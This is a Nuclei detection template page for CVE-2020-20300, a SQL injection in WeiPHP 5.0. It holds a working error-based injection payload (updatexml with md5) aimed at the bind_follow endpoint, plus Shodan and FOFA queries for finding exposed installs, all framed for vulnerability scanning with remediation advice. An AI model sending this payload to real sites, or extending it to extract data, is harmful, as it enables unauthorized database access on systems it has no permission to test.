WeiPHP 5.0 - SQL Injection

ID: CVE-2020-20300

Severity: critical

Author: pikpikcu

Tags: cve,cve2020,weiphp,sql,sqli

Description

WeiPHP 5.0 contains a SQL injection vulnerability via the wp_where function. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2020-20300

info:
  name: WeiPHP 5.0 - SQL Injection
  author: pikpikcu
  severity: critical
  description: WeiPHP 5.0 contains a SQL injection vulnerability via the wp_where function. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of WeiPHP or apply the vendor-supplied patch to fix the SQL Injection vulnerability.
  reference:
    - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20300
    - https://github.com/Y4er/Y4er.com/blob/master/content/post/weiphp-exp-sql.md
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-20300
    cwe-id: CWE-89
    epss-score: 0.17677
    epss-percentile: 0.96134
    cpe: cpe:2.3:a:weiphp:weiphp:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weiphp
    product: weiphp
    shodan-query:
      - http.html:"WeiPHP5.0"
      - http.html:"weiphp"
      - http.html:"weiphp5.0"
    fofa-query:
      - body="weiphp"
      - body="weiphp5.0"
  tags: cve,cve2020,weiphp,sql,sqli

http:
  - method: POST
    path:
      - "{{BaseURL}}/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--+ "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "52c69e3a57331081823331c4e69d3f2"

      - type: status
        status:
          - 500
# digest: 4a0a00473045022035b9b54b8df9b5ebc3b6f0f123341d279492baf1ff672ec674b6fbc86342c757022100c087651d043944393b39de45160ee6e52f130f31f2f8fd4db8a68850d749a946:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-20300.yaml"

View on Github